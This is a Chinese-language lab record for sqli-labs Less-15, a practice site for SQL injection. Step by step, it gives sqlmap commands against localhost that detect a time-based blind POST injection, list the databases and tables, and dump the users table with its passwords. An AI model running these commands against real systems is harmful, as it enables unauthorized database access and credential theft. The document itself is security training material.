sqli-labs-Less-15自动化注入方法

sqli-labs 实验记录

Less-15

第一步:进行sqli注入漏洞检测

输入命令:

复制代码
sqlmap -u http://localhost/Less-15/?id=1 --batch --forms

--batch 表示采用默认参数。
--forms 表示自动提交表单。

查询结果如图所示:存在注入点uname,注入方式为POST,注入类型为:time-based blind; 并给出了相应的payload。

第二步:查询服务器中的所有数据库

输入命令:

复制代码
sqlmap -u http://localhost/Less-15/?id=1 --batch --forms --dbs

--dbs 表示查询数据库。

查询结果如图所示:数据库共有两个,分别为information_schema, security。

第三步:查询指定数据库中的所有表

输入命令:

复制代码
sqlmap -u http://localhost/Less-15/?id=1 --batch --forms -D security --tables

-D security 表示指定查询数据库security;
--tables 表示查询数据库中的所有表。

查询结果如图所示:数据表共有4个,分别是emails, referers, uagents, users。

第四步:查询指定数据表中的所有列

输入命令:

复制代码
sqlmap -u http://localhost/Less-15/?id=1 --batch --forms -D security -T users --columns

-T users 表示指定查询数据表users;
--columns 表示查询数据表中的所有列。

查询结果如图所示:数据列共有3个,分别是id, password, username。

第五步:查询指定数据表中的具体信息

输入命令:

复制代码
sqlmap -u http://localhost/Less-15/?id=1 --batch --forms -D security -T users --dump

--dump 表示查询数据表中的具体信息

查询结果如图所示:数据表users中的具体信息共有13条。

相关推荐
志栋智能14 分钟前
超自动化安全:实现安全运营现代化的关键
大数据·运维·网络·安全·自动化
我是一颗柠檬19 分钟前
【MySQL全面教学】MySQL备份与恢复Day14(2026年)
数据库·后端·mysql
XLYcmy21 分钟前
面向Agent权限系统的快速审计工具
python·网络安全·ai·llm·飞书·agent·字节跳动
渣渣盟24 分钟前
MySQL DDL操作全解析:从入门到精通,包含索引视图分区表等全操作解析
大数据·数据库·mysql
mN9B2uk171 小时前
为mysql数据库建立索引
数据库·mysql·oracle
流星白龙1 小时前
【MySQL高阶】7.MySQL日志
数据库·mysql·adb
Irene19911 小时前
SQL示例:正确理解题意(隐藏分组键)严格SQL模式下,ORDER BY中的列必须出现在GROUP BY中或作为聚合函数
mysql
流星白龙1 小时前
【MySQL高阶】0.MySQL的安装
数据库·mysql·adb
一次旅行1 小时前
实战指南:基于开源工具链构建自动化演示文稿生成工作流
运维·开源·自动化
沈千秋.2 小时前
thinkphp5.2反序列化
网络安全·php·反序列化